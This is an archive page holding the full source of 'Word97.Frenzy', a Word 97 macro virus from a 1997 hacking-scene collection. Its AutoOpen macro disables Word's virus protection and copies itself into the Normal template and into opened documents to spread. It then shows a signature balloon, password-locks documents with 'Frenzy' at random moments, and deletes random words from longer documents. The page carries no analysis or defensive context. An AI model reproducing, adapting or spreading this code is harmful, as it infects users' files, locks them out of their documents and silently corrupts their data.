home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
CCTX0497.ZIP
/
MVUPDAT9.ZIP
/
FRENZY.ZIP
/
FRENZY.BAS
< prev
next >
Wrap
BASIC Source File
|
1997-03-17
|
1KB
|
51 lines
Attribute VB_Name = "Frenzy"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Frenzy!"
On Error Resume Next
Options.VirusProtection = False
If MacroContainer = NormalTemplate.Name Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
If ActiveDocument.SaveFormat = wdFormatDocument Then
ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
Else
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Frenzy", Object:=wdOrganizerObjectProjectItems
If NormalTemplate.Saved = False Then
NormalTemplate.Save
End If
End If
If Day(Now()) = Int(Rnd() * 31 + 1) Then
Assistant.Visible = True
With Assistant.NewBalloon
.Animation = msoAnimationGetAttentionMajor
.Heading = "Attention:"
.Text = "Word97.Frenzy by Pyro [VBB]"
.Icon = msoIconAlert
.Show
End With
End If
If Minute(Now()) = Int(Rnd() * 60) Then
If ActiveDocument.HasPassword = False Then
ActiveDocument.Password = "Frenzy"
End If
End If
If ActiveDocument.Words.Count > 25 Then
Char = Int(Rnd() * ActiveDocument.Words.Count)
ActiveDocument.Words(Char).Delete
End If
End Sub